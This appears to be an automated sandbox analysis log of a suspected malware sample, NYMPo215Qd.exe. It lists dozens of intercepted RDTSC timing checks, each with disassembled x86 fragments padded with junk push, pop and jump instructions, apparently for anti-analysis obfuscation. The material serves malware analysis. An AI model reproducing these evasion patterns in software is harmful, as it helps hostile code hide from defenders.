Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 550038B second address: 5500435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9F38C153FAh 0x00000010 sub esi, 5C504F88h 0x00000016 jmp 00007F9F38C153FBh 0x0000001b popfd 0x0000001c push esi 0x0000001d pushfd 0x0000001e jmp 00007F9F38C153FFh 0x00000023 add esi, 784F63CEh 0x00000029 jmp 00007F9F38C15409h 0x0000002e popfd 0x0000002f pop esi 0x00000030 popad 0x00000031 mov dword ptr [esp], ebp 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F9F38C153FDh 0x0000003b and cx, E806h 0x00000040 jmp 00007F9F38C15401h 0x00000045 popfd 0x00000046 jmp 00007F9F38C15400h 0x0000004b popad 0x0000004c mov ebp, esp 0x0000004e pushad 0x0000004f mov dh, ah 0x00000051 popad 0x00000052 mov edx, dword ptr [ebp+0Ch] 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F9F38C153FBh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520689 second address: 552068D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 552068D second address: 55206C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9F38C15401h 0x00000011 add esi, 4B986236h 0x00000017 jmp 00007F9F38C15401h 0x0000001c popfd 0x0000001d mov eax, 78B51A27h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55206C8 second address: 55206EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F38C0222Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55206EB second address: 55206F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55206F1 second address: 55206F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55206F5 second address: 5520715 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520715 second address: 5520743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9F38C02231h 0x0000000a sub cx, 6656h 0x0000000f jmp 00007F9F38C02231h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520743 second address: 5520791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007F9F38C15409h 0x00000015 xor eax, 5CE25916h 0x0000001b jmp 00007F9F38C15401h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520791 second address: 55207A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C0222Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55207A1 second address: 55207A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55207A5 second address: 55207DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9F38C0222Eh 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F9F38C0222Dh 0x00000017 call 00007F9F38C02230h 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55207DF second address: 5520825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15400h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F9F38C15400h 0x0000000f push eax 0x00000010 jmp 00007F9F38C153FBh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F9F38C15400h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520825 second address: 552082B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 552082B second address: 55208AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007F9F38C15400h 0x00000011 nop 0x00000012 pushad 0x00000013 mov dh, cl 0x00000015 pushfd 0x00000016 jmp 00007F9F38C15403h 0x0000001b adc esi, 681F952Eh 0x00000021 jmp 00007F9F38C15409h 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a mov eax, edx 0x0000002c popad 0x0000002d nop 0x0000002e jmp 00007F9F38C15405h 0x00000033 push dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55208AD second address: 55208B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55208B1 second address: 55208B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55208FE second address: 5520902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520902 second address: 5520908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520908 second address: 552090D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 552095A second address: 55209B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9F38C15408h 0x00000009 adc eax, 4E3518E8h 0x0000000f jmp 00007F9F38C153FBh 0x00000014 popfd 0x00000015 mov cx, A8DFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, esi 0x0000001e jmp 00007F9F38C15402h 0x00000023 pop esi 0x00000024 pushad 0x00000025 mov di, ax 0x00000028 mov di, cx 0x0000002b popad 0x0000002c leave 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55209B3 second address: 55209B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55209B7 second address: 55209C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55209C8 second address: 55209D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C0222Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55209D8 second address: 5510166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 jmp 00007F9F38C153F2h 0x00000014 xor ebx, ebx 0x00000016 test al, 01h 0x00000018 jne 00007F9F38C153F7h 0x0000001a sub esp, 04h 0x0000001d mov dword ptr [esp], 0000000Dh 0x00000024 call 00007F9F3D442B3Bh 0x00000029 mov edi, edi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F9F38C15402h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510166 second address: 55101BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9F38C02236h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 pushfd 0x00000016 jmp 00007F9F38C02238h 0x0000001b xor esi, 200B5548h 0x00000021 jmp 00007F9F38C0222Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55101BE second address: 55101DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov edi, 2E4817B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9F38C153FFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55101DF second address: 55101FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55101FC second address: 551023A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 16h 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9F38C15407h 0x00000015 jmp 00007F9F38C15403h 0x0000001a popfd 0x0000001b push esi 0x0000001c pop edx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551023A second address: 5510240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510240 second address: 5510244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510244 second address: 551026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02237h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ax, DE41h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551026C second address: 551029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov bx, cx 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, CEh 0x0000000f pushfd 0x00000010 jmp 00007F9F38C153FCh 0x00000015 jmp 00007F9F38C15405h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551029F second address: 55102C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9F38C0222Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55102C3 second address: 5510336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9F38C15401h 0x00000009 xor ecx, 07E86C06h 0x0000000f jmp 00007F9F38C15401h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F9F38C15400h 0x0000001b adc eax, 0631EAA8h 0x00000021 jmp 00007F9F38C153FBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ax, bx 0x00000031 call 00007F9F38C15407h 0x00000036 pop esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510336 second address: 5510387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 18A71C9Bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 pushfd 0x00000011 jmp 00007F9F38C02234h 0x00000016 sub ax, 9298h 0x0000001b jmp 00007F9F38C0222Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], edi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9F38C02235h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510387 second address: 551038D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551038D second address: 5510391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55103C4 second address: 55103D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub ebx, ebx 0x0000000a pushad 0x0000000b push ebx 0x0000000c mov cl, 63h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55103D6 second address: 5510480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9F38C0222Ch 0x0000000a or cl, FFFFFFE8h 0x0000000d jmp 00007F9F38C0222Bh 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 sub edi, edi 0x00000017 pushad 0x00000018 call 00007F9F38C02231h 0x0000001d jmp 00007F9F38C02230h 0x00000022 pop ecx 0x00000023 popad 0x00000024 inc ebx 0x00000025 jmp 00007F9F38C02231h 0x0000002a test al, al 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F9F38C0222Ch 0x00000033 adc si, E0D8h 0x00000038 jmp 00007F9F38C0222Bh 0x0000003d popfd 0x0000003e movzx ecx, bx 0x00000041 popad 0x00000042 je 00007F9F38C02440h 0x00000048 jmp 00007F9F38C0222Bh 0x0000004d lea ecx, dword ptr [ebp-14h] 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F9F38C02235h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510480 second address: 55104B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov dx, C0FEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [ebp-14h], edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F9F38C153FEh 0x00000018 sbb si, 24C8h 0x0000001d jmp 00007F9F38C153FBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55104B3 second address: 55104C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02230h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510528 second address: 551052E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551057E second address: 5510582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510582 second address: 5510586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510586 second address: 551058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551058C second address: 5510592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510592 second address: 55105B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02235h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55105B5 second address: 55105B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55105B9 second address: 55105BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55105BF second address: 55105C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55105C5 second address: 55105FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F9FAA0500E5h 0x0000000e pushad 0x0000000f call 00007F9F38C02236h 0x00000014 push eax 0x00000015 pop edi 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9F38C0222Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55105FC second address: 5510685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F9F38C15462h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9F38C153FAh 0x00000014 jmp 00007F9F38C15405h 0x00000019 popfd 0x0000001a jmp 00007F9F38C15400h 0x0000001f popad 0x00000020 cmp dword ptr [ebp-14h], edi 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F9F38C153FEh 0x0000002a and si, C7B8h 0x0000002f jmp 00007F9F38C153FBh 0x00000034 popfd 0x00000035 mov esi, 0BDA13EFh 0x0000003a popad 0x0000003b jne 00007F9FAA06322Bh 0x00000041 pushad 0x00000042 mov dx, cx 0x00000045 push esi 0x00000046 pushad 0x00000047 popad 0x00000048 pop ebx 0x00000049 popad 0x0000004a mov ebx, dword ptr [ebp+08h] 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F9F38C153FBh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510685 second address: 551068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551068B second address: 551068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551068F second address: 55106BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F9F38C02238h 0x00000013 pop eax 0x00000014 mov ebx, 05D60666h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55106BC second address: 551072F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F9F38C15400h 0x0000000f push eax 0x00000010 jmp 00007F9F38C153FBh 0x00000015 xchg eax, esi 0x00000016 jmp 00007F9F38C15406h 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov dl, 6Ch 0x00000021 pushfd 0x00000022 jmp 00007F9F38C15406h 0x00000027 adc cx, CAC8h 0x0000002c jmp 00007F9F38C153FBh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551072F second address: 5510753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510753 second address: 5510759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510759 second address: 55107A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02235h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F9F38C0222Eh 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F9F38C02230h 0x00000015 push eax 0x00000016 jmp 00007F9F38C0222Bh 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 mov si, bx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55107CA second address: 55107D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55107D9 second address: 55107F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02234h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55107F1 second address: 5510012 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007F9F38C15406h 0x00000012 test esi, esi 0x00000014 pushad 0x00000015 jmp 00007F9F38C153FEh 0x0000001a pushad 0x0000001b mov ax, 5867h 0x0000001f push esi 0x00000020 pop edx 0x00000021 popad 0x00000022 popad 0x00000023 je 00007F9FAA063217h 0x00000029 xor eax, eax 0x0000002b jmp 00007F9F38BEEB2Ah 0x00000030 pop esi 0x00000031 pop edi 0x00000032 pop ebx 0x00000033 leave 0x00000034 retn 0004h 0x00000037 nop 0x00000038 xor ebx, ebx 0x0000003a cmp eax, 00000000h 0x0000003d je 00007F9F38C15553h 0x00000043 call 00007F9F3D44287Dh 0x00000048 mov edi, edi 0x0000004a pushad 0x0000004b jmp 00007F9F38C153FBh 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510012 second address: 5510016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510016 second address: 5510048 instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9F38C15404h 0x00000011 sub ax, 8D88h 0x00000016 jmp 00007F9F38C153FBh 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510048 second address: 5510086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 mov si, 8BDFh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9F38C02231h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510086 second address: 55100B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F9F38C15402h 0x00000011 push eax 0x00000012 jmp 00007F9F38C153FBh 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55100B7 second address: 55100BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55100BB second address: 55100BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
